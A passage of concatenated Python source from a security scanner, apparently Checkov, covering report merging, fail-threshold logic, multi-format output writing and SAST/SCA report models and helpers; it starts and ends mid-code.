integration_feature_registry.run_post_scan(merged_reports) if post_scan_reports: merged_reports.extend(post_scan_reports) for scan_report in merged_reports: self._handle_report(scan_report, repo_root_for_plan_enrichment) if not self.check_type_to_graph: self.check_type_to_graph = {runner.check_type: self.extract_graphs_from_runner(runner) for runner in self.runners if runner.graph_manager} if not self.check_type_to_resource_subgraph_map: self.check_type_to_resource_subgraph_map = {runner.check_type: runner.resource_subgraph_map for runner in self.runners if runner.resource_subgraph_map is not None} return self.scan_reports def _merge_runners(self, runners: Any) -> list[_BaseRunner]: sast_runner = None cdk_runner = None merged_runners = [] for runner in runners: if runner[0].check_type == CheckType.CDK: cdk_runner = runner continue if runner[0].check_type == CheckType.SAST: merged_runners.append(runner) sast_runner = runner continue merged_runners.append(runner) if cdk_runner: if sast_runner: for lang in CDKLanguages.set(): sast_runner[0].cdk_langs.append(lang) else: merged_runners.append(cdk_runner) return merged_runners def _merge_reports(self, reports: Iterable[Report | list[Report]]) -> list[Report]: """Merges reports with the same check_type""" merged_reports = [] for report in reports: if report is None: # this only happens, when an uncaught exception occurs continue sub_reports: list[Report] = force_list(report) for sub_report in sub_reports: if sub_report.check_type in self._check_type_to_report_map: merge_reports(self._check_type_to_report_map[sub_report.check_type], sub_report) else: self._check_type_to_report_map[sub_report.check_type] = sub_report merged_reports.append(sub_report) if self.should_add_sca_results_to_sca_supported_ir_report(sub_report, sub_reports): if self.sca_supported_ir_report: merge_reports(self.sca_supported_ir_report, sub_report) else: self.sca_supported_ir_report = pickle_deepcopy(sub_report) return merged_reports @staticmethod def should_add_sca_results_to_sca_supported_ir_report(sub_report: Report, sub_reports: list[Report]) -> bool: if sub_report.check_type == 'sca_image' and bc_integration.customer_run_config_response: # The regular sca report if len(sub_reports) == 1: return True # Dup report: first - regular iac, second - IR. we are checking that report fw is in the IR supported list. if len(sub_reports) == 2 and sub_reports[0].check_type in bc_integration.customer_run_config_response.get('supportedIrFw', []): return True return False def _handle_report(self, scan_report: Report, repo_root_for_plan_enrichment: list[str | Path] | None) -> None: if metadata_integration.check_metadata: RunnerRegistry.enrich_report_with_guidelines(scan_report) if repo_root_for_plan_enrichment and not self.runner_filter.deep_analysis: enriched_resources = RunnerRegistry.get_enriched_resources( repo_roots=repo_root_for_plan_enrichment, download_external_modules=self.runner_filter.download_external_modules, external_modules_download_path=self.runner_filter.external_modules_download_path, ) scan_report = Report("terraform_plan").enrich_plan_report(scan_report, enriched_resources) scan_report = Report("terraform_plan").handle_skipped_checks(scan_report, enriched_resources) integration_feature_registry.run_post_runner(scan_report) self.scan_reports.append(scan_report) def save_output_to_file(self, file_name: str, data: str, data_format: str) -> None: try: file_path = Path(file_name) file_path.parent.mkdir(parents=True, exist_ok=True) file_path.write_text(data) logging.info(f"\nWrote output in {data_format} format to the file '{file_name}')") except EnvironmentError: logging.error(f"\nAn error occurred while writing {data_format} results to file: {file_name}", exc_info=True) @staticmethod def is_error_in_reports(reports: List[Report]) -> bool: return any(scan_report.error_status != ErrorStatus.SUCCESS for scan_report in reports) @staticmethod def get_fail_thresholds(config: argparse.Namespace, report_type: str) -> _ExitCodeThresholds | _ScaExitCodeThresholds: soft_fail = config.soft_fail soft_fail_on_checks = [] soft_fail_threshold = None # these specifically check the --hard-fail-on and --soft-fail-on args, NOT enforcement rules, so # we don't care about SCA as a special case # soft fail on the highest severity threshold in the list for val in convert_csv_string_arg_to_list(config.soft_fail_on): if val.upper() in Severities: val = val.upper() if not soft_fail_threshold or Severities[val].level > soft_fail_threshold.level: soft_fail_threshold = Severities[val] elif val.capitalize() in SECRET_VALIDATION_STATUSES: soft_fail_on_checks.append(val.capitalize()) else: soft_fail_on_checks.append(val) logging.debug(f'Soft fail severity threshold: {soft_fail_threshold.level if soft_fail_threshold else None}') logging.debug(f'Soft fail checks: {soft_fail_on_checks}') hard_fail_on_checks = [] hard_fail_threshold = None # hard fail on the lowest threshold in the list for val in convert_csv_string_arg_to_list(config.hard_fail_on): if val.upper() in Severities: val = val.upper() if not hard_fail_threshold or Severities[val].level < hard_fail_threshold.level: hard_fail_threshold = Severities[val] elif val.capitalize() in SECRET_VALIDATION_STATUSES: hard_fail_on_checks.append(val.capitalize()) else: hard_fail_on_checks.append(val) logging.debug(f'Hard fail severity threshold: {hard_fail_threshold.level if hard_fail_threshold else None}') logging.debug(f'Hard fail checks: {hard_fail_on_checks}') if not config.use_enforcement_rules: logging.debug('Use enforcement rules is FALSE') # if there is a severity in either the soft-fail-on list or hard-fail-on list, then we will ignore enforcement rules and skip this # it means that SCA will not be treated as having two different thresholds in that case # if the lists only contain check IDs, then we will merge them with the enforcement rule value elif not soft_fail and not soft_fail_threshold and not hard_fail_threshold: if 'sca_' in report_type: code_category_types = cast(List[CodeCategoryType], CodeCategoryMapping[report_type]) category_rules = { category: repo_config_integration.code_category_configs[category] for category in code_category_types } return cast(_ScaExitCodeThresholds, { category: { 'soft_fail': category_rules[category].is_global_soft_fail(), 'soft_fail_checks': soft_fail_on_checks, 'soft_fail_threshold': soft_fail_threshold, 'hard_fail_checks': hard_fail_on_checks, 'hard_fail_threshold': category_rules[category].hard_fail_threshold } for category in code_category_types }) else: code_category_type = cast(CodeCategoryType, CodeCategoryMapping[report_type]) # not a list enf_rule = repo_config_integration.code_category_configs[code_category_type] if enf_rule: logging.debug('Use enforcement rules is TRUE') hard_fail_threshold = enf_rule.hard_fail_threshold soft_fail = enf_rule.is_global_soft_fail() logging.debug(f'Using enforcement rule hard fail threshold for this report: {hard_fail_threshold.name}') else: logging.debug(f'Use enforcement rules is TRUE, but did not find an enforcement rule for report type {report_type}, so falling back to CLI args') else: logging.debug('Soft fail was true or a severity was used in soft fail on / hard fail on; ignoring enforcement rules') return { 'soft_fail': soft_fail, 'soft_fail_checks': soft_fail_on_checks, 'soft_fail_threshold': soft_fail_threshold, 'hard_fail_checks': hard_fail_on_checks, 'hard_fail_threshold': hard_fail_threshold } def print_reports( self, scan_reports: List[Report], config: argparse.Namespace, url: Optional[str] = None, created_baseline_path: Optional[str] = None, baseline: Optional[Baseline] = None, ) -> Literal[0, 1]: output_formats: "dict[str, str]" = {} if config.output_file_path and "," in config.output_file_path: output_paths = config.output_file_path.split(",") for idx, output_format in enumerate(config.output): output_formats[output_format] = output_paths[idx] else: output_formats = {output_format: CONSOLE_OUTPUT for output_format in config.output} exit_codes = [] cli_reports = [] report_jsons = [] sarif_reports = [] junit_reports = [] github_reports = [] cyclonedx_reports = [] gitlab_reports = [] spdx_reports = [] csv_sbom_report = CSVSBOM() try: if config.skip_resources_without_violations: for report in scan_reports: report.extra_resources = set() except AttributeError: # config attribute wasn't set, defaults to False and print extra resources to report pass data_outputs: dict[str, str] = defaultdict(str) for report in scan_reports: if not report.is_empty(): if "json" in config.output: report_jsons.append(report.get_dict(is_quiet=config.quiet, url=url, s3_setup_failed=bc_integration.s3_setup_failed, support_path=bc_integration.support_repo_path)) if "junitxml" in config.output: junit_reports.append(report) if "github_failed_only" in config.output: github_reports.append(report.print_failed_github_md(use_bc_ids=config.output_bc_ids)) if "sarif" in config.output: sarif_reports.append(report) if "cli" in config.output: cli_reports.append(report) if "gitlab_sast" in config.output: gitlab_reports.append(report) if not report.is_empty() or len(report.extra_resources): if any(cyclonedx in config.output for cyclonedx in CYCLONEDX_OUTPUTS): cyclonedx_reports.append(report) if "spdx" in config.output: spdx_reports.append(report) if "csv" in config.output: git_org = "" git_repository = "" if 'repo_id' in config and config.repo_id is not None: git_org, git_repository = config.repo_id.split('/') csv_sbom_report.add_report(report=report, git_org=git_org, git_repository=git_repository) logging.debug(f'Getting exit code for report {report.check_type}') exit_code_thresholds = self.get_fail_thresholds(config, report.check_type) exit_codes.append(report.get_exit_code(exit_code_thresholds)) if "github_failed_only" in config.output: github_output = "".join(github_reports) self._print_to_console( output_formats=output_formats, output_format="github_failed_only", output=github_output, ) data_outputs["github_failed_only"] = github_output if "cli" in config.output: if not config.quiet: print(f"{self.banner}\n") cli_output = '' if (bc_integration.runtime_run_config_response and bc_integration.runtime_run_config_response.get('isRepoInRuntime', False)): cli_output += f"The '{bc_integration.repo_id}' repository was discovered In a running environment\n\n" if len(cli_reports) > 0: cli_output += cli_reports[0].add_errors_to_output() for report in cli_reports: cli_output += report.print_console( is_quiet=config.quiet, is_compact=config.compact, created_baseline_path=created_baseline_path, baseline=baseline, use_bc_ids=config.output_bc_ids, summary_position=config.summary_position, ) self._print_to_console( output_formats=output_formats, output_format="cli", output=cli_output, url=url, support_path=bc_integration.support_repo_path ) # Remove colors from the cli output ansi_escape = re.compile(r'(?:\x1B[@-_]|[\x80-\x9F])[0-9:;<=>?]*[ -/]*[@-~]') data_outputs['cli'] = ansi_escape.sub('', cli_output) if "sarif" in config.output: sarif = Sarif(reports=sarif_reports, tool=self.tool) output_format = output_formats["sarif"] if "cli" not in config.output and output_format == CONSOLE_OUTPUT: print(self.banner) for report in sarif_reports: if "cli" not in config.output and output_format == CONSOLE_OUTPUT: print(report.print_console( is_quiet=config.quiet, is_compact=config.compact, created_baseline_path=created_baseline_path, baseline=baseline, use_bc_ids=config.output_bc_ids, summary_position=config.summary_position )) if output_format == CONSOLE_OUTPUT: if not config.output_file_path or "," in config.output_file_path: # don't write to file, if an explicit file path was set sarif.write_sarif_output() del output_formats["sarif"] if "cli" not in config.output: if url: print(f"More details: {url}") elif bc_integration.s3_setup_failed: print(S3_UPLOAD_DETAILS_MESSAGE) if bc_integration.support_repo_path: print(f"\nPath for uploaded logs (give this to support if raising an issue): {bc_integration.support_repo_path}") if CONSOLE_OUTPUT in output_formats.values(): print(OUTPUT_DELIMITER) data_outputs["sarif"] = json.dumps(sarif.json, cls=CustomJSONEncoder) if "json" in config.output: if config.compact and report_jsons: self.strip_code_blocks_from_json(report_jsons) report_json_output: "list[dict[str, Any]] | dict[str, Any]" = report_jsons if not report_jsons: report_json_output = Report("").get_summary() elif len(report_jsons) == 1: report_json_output = report_jsons[0] json_output = json.dumps(report_json_output, indent=4, cls=CustomJSONEncoder) self._print_to_console( output_formats=output_formats, output_format="json", output=json_output, ) data_outputs["json"] = json.dumps(report_json_output, cls=CustomJSONEncoder) if "junitxml" in config.output: properties = Report.create_test_suite_properties_block(config) if junit_reports: test_suites = [ report.get_test_suite(properties=properties, use_bc_ids=config.output_bc_ids) for report in junit_reports ] else: test_suites = [Report("").get_test_suite(properties=properties)] junit_output = Report.get_junit_xml_string(test_suites) self._print_to_console( output_formats=output_formats, output_format="junitxml", output=junit_output, ) data_outputs['junitxml'] = junit_output if any(cyclonedx in config.output for cyclonedx in CYCLONEDX_OUTPUTS): cyclonedx = CycloneDX(repo_id=metadata_integration.bc_integration.repo_id, reports=cyclonedx_reports) for cyclonedx_format in CYCLONEDX_OUTPUTS: if cyclonedx_format not in config.output: # only the XML or JSON format was chosen continue if cyclonedx_format == "cyclonedx": cyclonedx_output = cyclonedx.get_xml_output() elif cyclonedx_format == "cyclonedx_json": cyclonedx_output = cyclonedx.get_json_output() else: # this shouldn't happen logging.error(f"CycloneDX output format '{cyclonedx_format}' not supported") continue self._print_to_console( output_formats=output_formats, output_format=cyclonedx_format, output=cyclonedx_output, ) data_outputs[cyclonedx_format] = cyclonedx_output if "gitlab_sast" in config.output: gl_sast = GitLabSast(reports=gitlab_reports) self._print_to_console( output_formats=output_formats, output_format="gitlab_sast", output=json.dumps(gl_sast.sast_json, indent=4), ) data_outputs["gitlab_sast"] = json.dumps(gl_sast.sast_json) if "spdx" in config.output: spdx = SPDX(repo_id=metadata_integration.bc_integration.repo_id, reports=spdx_reports) spdx_output = spdx.get_tag_value_output() self._print_to_console( output_formats=output_formats, output_format="spdx", output=spdx_output, ) data_outputs["spdx"] = spdx_output if "csv" in config.output: is_api_key = False if 'bc_api_key' in config and config.bc_api_key is not None: is_api_key = True csv_sbom_report.persist_report(is_api_key=is_api_key, output_path=config.output_file_path) # Save output to file file_names = { 'cli': 'results_cli.txt', 'github_failed_only': 'results_github_failed_only.md', 'sarif': 'results_sarif.sarif', 'json': 'results_json.json', 'junitxml': 'results_junitxml.xml', 'cyclonedx': 'results_cyclonedx.xml', 'cyclonedx_json': 'results_cyclonedx.json', 'gitlab_sast': 'results_gitlab_sast.json', 'spdx': 'results_spdx.spdx', } if config.output_file_path: if output_formats: for output_format, output_path in output_formats.items(): self.save_output_to_file( file_name=output_path, data=data_outputs[output_format], data_format=output_format, ) else: for output in config.output: if output in file_names: self.save_output_to_file( file_name=f'{config.output_file_path}/{file_names[output]}', data=data_outputs[output], data_format=output, ) exit_code = 1 if 1 in exit_codes else 0 return cast(Literal[0, 1], exit_code) def _print_to_console(self, output_formats: dict[str, str], output_format: str, output: str, url: str | None = None, support_path: str | None = None) -> None: """Prints the output to console, if needed""" output_dest = output_formats[output_format] if output_dest == CONSOLE_OUTPUT: del output_formats[output_format] if platform.system() == 'Windows': sys.stdout.buffer.write(output.encode("utf-8")) else: print(output) if url: print(f"More details: {url}") elif bc_integration.s3_setup_failed: print(S3_UPLOAD_DETAILS_MESSAGE) if support_path: print(f"\nPath for uploaded logs (give this to support if raising an issue): {support_path}") if CONSOLE_OUTPUT in output_formats.values(): print(OUTPUT_DELIMITER) def print_iac_bom_reports(self, output_path: str, scan_reports: list[Report], output_types: list[str], account_id: str) -> dict[str, str]: output_files = { 'cyclonedx': 'results_cyclonedx.xml', 'csv': 'results_iac.csv' } # create cyclonedx report if 'cyclonedx' in output_types: cyclonedx_output_path = output_files['cyclonedx'] cyclonedx = CycloneDX(reports=scan_reports, repo_id=metadata_integration.bc_integration.repo_id, export_iac_only=True) cyclonedx_output = cyclonedx.get_xml_output() self.save_output_to_file(file_name=os.path.join(output_path, cyclonedx_output_path), data=cyclonedx_output, data_format="cyclonedx") # create csv report if 'csv' in output_types: csv_sbom_report = CSVSBOM() for report in scan_reports: if not report.is_empty(): git_org, git_repository = self.extract_git_info_from_account_id(account_id) csv_sbom_report.add_report(report=report, git_org=git_org, git_repository=git_repository) csv_sbom_report.persist_report_iac(file_name=output_files['csv'], output_path=output_path) return {key: os.path.join(output_path, value) for key, value in output_files.items()} def filter_runner_framework(self) -> None: if not self.runner_filter: return if not self.runner_filter.framework: return if "all" in self.runner_filter.framework: return self.runners = [runner for runner in self.runners if runner.check_type in self.runner_filter.framework] def filter_runners_for_files(self, files: List[str]) -> None: if not files: return self.runners = [runner for runner in self.runners if any(runner.should_scan_file(file) for file in files)] logging.debug(f'Filtered runners based on file type(s). Result: {[r.check_type for r in self.runners]}') def remove_runner(self, runner: _BaseRunner) -> None: if runner in self.runners: self.runners.remove(runner) # type:ignore[arg-type] # existence is checked one line above @staticmethod def enrich_report_with_guidelines(scan_report: Report) -> None: for record in itertools.chain(scan_report.failed_checks, scan_report.passed_checks, scan_report.skipped_checks): guideline = metadata_integration.get_guideline(record.check_id) if guideline: record.set_guideline(guideline) @staticmethod def get_enriched_resources( repo_roots: list[str | Path], download_external_modules: Optional[bool], external_modules_download_path: str = DEFAULT_EXTERNAL_MODULES_DIR ) -> dict[str, dict[str, Any]]: from checkov.terraform.modules.module_objects import TFDefinitionKey repo_definitions = {} for repo_root in repo_roots: parsing_errors: dict[str, Exception] = {} repo_root = os.path.abspath(repo_root) tf_definitions: dict[TFDefinitionKey, dict[str, list[dict[str, Any]]]] = TFParser().parse_directory( directory=repo_root, # assume plan file is in the repo-root out_parsing_errors=parsing_errors, download_external_modules=download_external_modules, external_modules_download_path=external_modules_download_path, ) repo_definitions[repo_root] = {'tf_definitions': tf_definitions, 'parsing_errors': parsing_errors} enriched_resources = {} for repo_root, parse_results in repo_definitions.items(): definitions = cast("dict[TFDefinitionKey, dict[str, list[dict[str, Any]]]]", parse_results['tf_definitions']) for full_file_path, definition in definitions.items(): definitions_context = parser_registry.enrich_definitions_context((full_file_path, definition)) abs_scanned_file = full_file_path.file_path scanned_file = os.path.relpath(abs_scanned_file, repo_root) for block_type, block_value in definition.items(): if block_type in CHECK_BLOCK_TYPES: for entity in block_value: context_parser = parser_registry.context_parsers[block_type] definition_path = context_parser.get_entity_context_path(entity) entity_id = ".".join(definition_path) entity_context_path = [block_type] + definition_path entity_context = data_structures_utils.get_inner_dict( definitions_context[full_file_path], entity_context_path ) entity_lines_range = [ entity_context.get("start_line"), entity_context.get("end_line"), ] entity_code_lines = entity_context.get("code_lines") skipped_checks = entity_context.get("skipped_checks") enriched_resources[entity_id] = { "entity_code_lines": entity_code_lines, "entity_lines_range": entity_lines_range, "scanned_file": scanned_file, "skipped_checks": skipped_checks, } return enriched_resources def _get_image_referencing_runners(self) -> set[ImageReferencer]: image_referencing_runners: set[ImageReferencer] = set() for runner in self.runners: if issubclass(runner.__class__, ImageReferencer): image_referencing_runners.add(cast(ImageReferencer, runner)) return image_referencing_runners @staticmethod def strip_code_blocks_from_json(report_jsons: List[Dict[str, Any]]) -> None: for report in report_jsons: results = report.get('results', {}) for result in results.values(): for result_dict in result: if isinstance(result_dict, dict): result_dict["code_block"] = None result_dict["connected_node"] = None @staticmethod def extract_git_info_from_account_id(account_id: str) -> tuple[str, str]: if '/' in account_id: account_id_list = account_id.split('/') git_org = '/'.join(account_id_list[0:-1]) git_repository = account_id_list[-1] else: git_org, git_repository = "", "" return git_org, git_repository @staticmethod def extract_graphs_from_runner(runner: _BaseRunner) -> list[tuple[LibraryGraph, Optional[str]]]: # exist only for terraform all_graphs = getattr(runner, 'all_graphs', None) if all_graphs: return all_graphs # type:ignore[no-any-return] elif runner.graph_manager: return [(runner.graph_manager.get_reader_endpoint(), None)] return [] def _parallel_run( runner: _BaseRunner, root_folder: str | None = None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True, platform_integration_data: dict[str, Any] | None = None, ) -> tuple[Report | list[Report], str | None, list[tuple[LibraryGraph, str | None]] | None, dict[str, str] | None, StringIO | None]: # only sub processes need to erase their logs, to start clean if parallel_runner.running_as_process(): erase_log_stream() if platform_integration_data: # only happens for 'ParallelizationType.SPAWN' bc_integration.init_instance(platform_integration_data=platform_integration_data) report = runner.run( root_folder=root_folder, external_checks_dir=external_checks_dir, files=files, runner_filter=runner_filter, collect_skip_comments=collect_skip_comments, ) if report is None: # this only happens, when an uncaught exception inside the runner occurs logging.error(f"Failed to create report for {runner.check_type} framework") report = Report(check_type=runner.check_type) if runner.graph_manager: return report, runner.check_type, RunnerRegistry.extract_graphs_from_runner(runner), runner.resource_subgraph_map, log_stream return report, runner.check_type, None, None, log_stream ================================================ FILE: checkov/common/sast/__init__.py ================================================ ================================================ FILE: checkov/common/sast/consts.py ================================================ from enum import Enum from typing import List, Any, Set from pathlib import Path SAST_FRAMEWORK_PREFIX = 'sast' CDK_FRAMEWORK_PREFIX = 'cdk' # checkov/checkov/cdk/checks CDK_CHECKS_DIR_PATH = Path(__file__).parent.parent.parent / CDK_FRAMEWORK_PREFIX / "checks" class SastLanguages(Enum): @classmethod def list(cls) -> List[Any]: return list(map(lambda c: c.value, cls)) @classmethod def set(cls) -> Set["SastLanguages"]: return set(cls) PYTHON = 'python' JAVA = 'java' JAVASCRIPT = 'javascript' TYPESCRIPT = 'typescript' GOLANG = 'golang' class CDKLanguages(Enum): @classmethod def list(cls) -> List[Any]: return list(map(lambda c: c.value, cls)) @classmethod def set(cls) -> Set["CDKLanguages"]: return set(cls) PYTHON = 'python' TYPESCRIPT = 'typescript' class BqlVersion(str, Enum): def __str__(self) -> str: return self.value V0_1 = '0.1' V0_2 = '0.2' def get_bql_version_from_string(version_str: str) -> str: for version in BqlVersion: if version.value == version_str: return version return '' SUPPORT_FILE_EXT = { SastLanguages.PYTHON: ['py'], SastLanguages.JAVA: ['java'], SastLanguages.JAVASCRIPT: ['js'], SastLanguages.TYPESCRIPT: ['ts'], SastLanguages.GOLANG: ['go'], } FILE_EXT_TO_SAST_LANG = { 'py': SastLanguages.PYTHON, 'java': SastLanguages.JAVA, 'js': SastLanguages.JAVASCRIPT, 'ts': SastLanguages.TYPESCRIPT, 'go': SastLanguages.GOLANG, } POLICIES_ERRORS = 'policies_errors' POLICIES_ERRORS_COUNT = 'policies_errors_count' ENGINE_NAME = "engine_name" SOURCE_FILES_COUNT = "source_files_count" POLICY_COUNT = "policy_count" ================================================ FILE: checkov/common/sast/report_types.py ================================================ from typing import Dict, List, Any, Optional, Union from pydantic import BaseModel, model_serializer from checkov.common.sast.consts import SastLanguages class Profiler(BaseModel): duration: Union[str, int] # noqa: CCE003 memory: int # noqa: CCE003 class Point(BaseModel): row: int # noqa: CCE003 column: int # noqa: CCE003 @model_serializer def serialize_model(self) -> Dict[str, Any]: return self.__dict__ class MatchLocation(BaseModel): path: str # noqa: CCE003 start: Point # noqa: CCE003 end: Point # noqa: CCE003 code_block: str # noqa: CCE003 extended_code_block: Optional[Dict[str, Any]] = None # noqa: CCE003 @model_serializer def serialize_model(self) -> Dict[str, Any]: return self.__dict__ class DataFlow(BaseModel): data_flow: List[MatchLocation] # noqa: CCE003 @model_serializer def serialize_model(self) -> Dict[str, List[MatchLocation]]: return {'data_flow': self.data_flow} class MatchMetadata(BaseModel): taint_mode: Optional[DataFlow] = None # noqa: CCE003 code_locations: Optional[List[MatchLocation]] = None # noqa: CCE003 @model_serializer def serialize_model(self) -> Dict[str, Any]: metadata = {} if hasattr(self, 'taint_mode') and self.taint_mode: metadata['taint_mode'] = self.taint_mode if hasattr(self, 'code_locations') and self.code_locations: metadata['code_locations'] = self.code_locations # type: ignore return metadata class Match(BaseModel): exact_hash: str # noqa: CCE003 structure_hash: str # noqa: CCE003 location: MatchLocation # noqa: CCE003 metadata: MatchMetadata # noqa: CCE003 minimized_ast: str # noqa: CCE003 class RuleMatchMetadata(BaseModel): framework: Optional[str] = '' # noqa: CCE003 class RuleMatch(BaseModel): check_id: str # noqa: CCE003 check_name: str # noqa: CCE003 check_cwe: Optional[Union[List[str], str]] # noqa: CCE003 check_owasp: Optional[Union[List[str], str]] # noqa: CCE003 severity: str # noqa: CCE003 matches: List[Match] # noqa: CCE003 metadata: Optional[RuleMatchMetadata] = None # noqa: CCE003 class Function(BaseModel): name: str # noqa: CCE003 alias: str # noqa: CCE003 line_number: int # noqa: CCE003 code_block: str # noqa: CCE003 cve_id: Optional[str] # noqa: CCE003 def to_dict(self) -> Dict[str, Any]: return self.__dict__ class Package(BaseModel): alias: str # noqa: CCE003 functions: List[Function] # noqa: CCE003 class File(BaseModel): packages: Dict[str, Package] # noqa: CCE003 class Repositories(BaseModel): files: Dict[str, File] # noqa: CCE003 class SkippedCheck(BaseModel): check_id: str # noqa: CCE003 suppress_comment: str # noqa: CCE003 class PrismaReport(BaseModel): rule_match: Dict[SastLanguages, Dict[str, RuleMatch]] # noqa: CCE003 errors: Dict[str, List[str]] # noqa: CCE003 profiler: Dict[str, Profiler] # noqa: CCE003 run_metadata: Dict[str, Optional[Union[str, int, List[str]]]] # noqa: CCE003 imports: Dict[SastLanguages, Dict[str, Dict[str, Union[List[str], Dict[str, str]]]]] # noqa: CCE003 reachability_report: Dict[SastLanguages, Dict[str, Repositories]] # noqa: CCE003 skipped_checks_by_file: Dict[str, List[SkippedCheck]] # noqa: CCE003 def create_empty_report(languages: List[SastLanguages]) -> PrismaReport: matches: Dict[SastLanguages, Dict[str, RuleMatch]] = {} for lang in languages: matches[lang] = {} return PrismaReport(rule_match=matches, errors={}, profiler={}, run_metadata={}, imports={}, reachability_report={}, skipped_checks_by_file={}) def serialize_reachability_report(report: Dict[str, Repositories]) -> Dict[str, Any]: result: Dict[str, Any] = {} for repo_path, files in report.items(): result[repo_path] = {"files": {}} for file_name, packages in files.files.items(): result[repo_path]["files"][file_name] = {"packages": {}} for package_name, package in packages.packages.items(): result[repo_path]["files"][file_name]["packages"][package_name] = {"alias": package.alias, "functions": []} for function in package.functions: result[repo_path]["files"][file_name]["packages"][package_name]["functions"].append(function.to_dict()) return result ================================================ FILE: checkov/common/sca/__init__.py ================================================ ================================================ FILE: checkov/common/sca/commons.py ================================================ from __future__ import annotations import logging from typing import List, Optional, Any, cast from checkov.common.output.common import SCADetails UNFIXABLE_VERSION = "N/A" OPEN_STATUS = "open" TWISTCLI_TO_CHECKOV_LANG_NORMALIZATION = { "gem": "ruby", "nuget": "dotNet" } def get_file_path_for_record(rootless_file_path: str) -> str: return f"/{rootless_file_path}" def get_resource_for_record(rootless_file_path: str, package_name: str) -> str: return f"{rootless_file_path}.{package_name}" def get_package_alias(package_name: str, package_version: str) -> str: return f"{package_name}@{package_version}" def get_license_policy_and_package_alias(policy: str, package_name: str) -> str: return f'{policy}_{package_name}' def get_package_type(package_name: str, package_version: str, sca_details: SCADetails | None = None) -> str: if sca_details: return str(sca_details.package_types.get(f"{package_name}@{package_version}", "")) else: return "" def get_registry_url(package: dict[str, Any]) -> str: if "registry" in package: return cast("str", package.get("registry", "")) return cast("str", package.get("registryUrl", "")) def normalize_twistcli_language(language: str) -> str: """ part of the language names that are returned by twistcli may be a little differ from those we use in checkov. this function's goal is to normalize them """ return TWISTCLI_TO_CHECKOV_LANG_NORMALIZATION.get(language, language) def get_package_lines(package: dict[str, Any]) -> list[int] | None: return cast("list[int] | None", package.get("linesNumbers", package.get("lines"))) def get_record_file_line_range(package: dict[str, Any], file_line_range: list[int] | None) -> list[int]: """ Currently, there are 2 way for getting file_line_range for the sca-report: 1. by the arg 'file_line_range' which comes from the runner - this is specific for entire file (e.g: image referencer) 2. by a dedicated attribute in a package-object - (e.g: DT-cli V2) The purpose of this function is making sure there are no conflicts between those resources, and return a valid rage """ package_line_range = get_package_lines(package) if package_line_range and file_line_range: logging.error( '[get_record_file_line_range] Both \'package_line_range\' and \'file_line_range\' are not None. Conflict.') return package_line_range or file_line_range or [0, 0] def should_run_scan(runner_filter_checks: Optional[List[str]]) -> bool: return not (runner_filter_checks and all( not (check.startswith("CKV_CVE") or check.startswith("BC_CVE") or check.startswith("BC_LIC")) for check in runner_filter_checks)) def get_fix_version(vulnerability_details: dict[str, Any]) -> str: if "fix_version" in vulnerability_details: return str(vulnerability_details["fix_version"]) if "lowest_fixed_version" in vulnerability_details: return str(vulnerability_details["lowest_fixed_version"]) return UNFIXABLE_VERSION ================================================ FILE: checkov/common/sca/consts.py ================================================ from enum import Enum from typing import Optional, Dict from checkov.common.sast.consts import SastLanguages class ScaPackageFile(Enum): PACKAGE_JSON = 'package.json' PACKAGE_JSON_LOCK = 'package-lock.json' POM_XML = 'pom.xml' BUILD_GRADLE = 'build.gradle' PIPFILE = 'Pipfile' PIPFILE_LOCK = 'Pipfile.lock' sca_package_to_sast_lang_map: Dict[ScaPackageFile, SastLanguages] = { ScaPackageFile.PACKAGE_JSON: SastLanguages.JAVASCRIPT, ScaPackageFile.PACKAGE_JSON_LOCK: SastLanguages.JAVASCRIPT, ScaPackageFile.POM_XML: SastLanguages.JAVA, ScaPackageFile.BUILD_GRADLE: SastLanguages.JAVA, ScaPackageFile.PIPFILE: SastLanguages.PYTHON, ScaPackageFile.PIPFILE_LOCK: SastLanguages.PYTHON } def get_package_by_str(package_name: str) -> Optional[ScaPackageFile]: for enum_member in ScaPackageFile: if enum_member.value == package_name: return enum_member return None ================================================ FILE: checkov/common/sca/output.py ================================================ from __future__ import annotations import logging from collections import defaultdict from datetime import datetime, timedelta from typing import TYPE_CHECKING, Any, Optional, Dict, List from checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import ( integration as metadata_integration, ) from checkov.common.bridgecrew.platform_integration import bc_integration from checkov.common.bridgecrew.severities import Severities, Severity from checkov.common.models.enums import CheckResult, ScanDataFormat from checkov.common.output.extra_resource import ExtraResource from checkov.common.output.record import Record, DEFAULT_SEVERITY, SCA_PACKAGE_SCAN_CHECK_NAME, SCA_LICENSE_CHECK_NAME from checkov.common.packaging import version as packaging_version from checkov.common.sca.commons import ( get_file_path_for_record, get_resource_for_record, get_package_alias, UNFIXABLE_VERSION, get_package_type, normalize_twistcli_language, get_registry_url, get_package_lines, get_record_file_line_range, get_license_policy_and_package_alias ) from checkov.common.util.http_utils import request_wrapper, aiohttp_client_session_wrapper from checkov.runner_filter import RunnerFilter from checkov.common.output.common import format_licenses_to_string if TYPE_CHECKING: from checkov.common.output.common import SCADetails from checkov.common.output.report import Report from checkov.common.typing import ( _LicenseStatus, _CheckResult, _ScaSuppressions, _ScaSuppressionsMaps, _SuppressedCves, _SuppressedLicenses, _ImageReferencerLicenseStatus, ) def create_report_license_record( rootless_file_path: str, file_abs_path: str, check_class: str, licenses_status: _LicenseStatus, package: dict[str, Any], sca_details: SCADetails | None = None, severity: Severity | None = None ) -> Record: package_name = licenses_status["package_name"] package_version = licenses_status["package_version"] policy = licenses_status["policy"] bc_status = licenses_status["status"] # renaming the status name from the one in platform's report to be convenient with checkov's-report status = "FAILED" if bc_status == "OPEN" else bc_status check_result: _CheckResult = { "result": CheckResult.FAILED, } if status == "COMPLIANT": check_result["result"] = CheckResult.PASSED code_block = get_code_block(package, package_name, package_version) details = { "package_name": package_name, "package_version": package_version, "package_registry": get_registry_url(package), "is_private_registry": package.get("isPrivateRegistry", False), "license": licenses_status["license"], "status": status, "policy": policy, "package_type": get_package_type(package_name, package_version, sca_details), } record = Record( check_id=policy, bc_check_id=policy, check_name=SCA_LICENSE_CHECK_NAME, check_result=check_result, code_block=code_block, file_path=get_file_path_for_record(rootless_file_path), file_line_range=get_package_lines(package) or [0, 0], resource=get_resource_for_record(rootless_file_path, package_name), check_class=check_class, evaluations=None, file_abs_path=file_abs_path, short_description=f"License {licenses_status['license']} - {package_name}: {package_version}", vulnerability_details=details, severity=severity ) return record def _update_details_by_scan_data_format( details: dict[str, Any], vulnerability_details: dict[str, Any], sca_details: SCADetails | None = None, scan_data_format: ScanDataFormat = ScanDataFormat.TWISTCLI ) 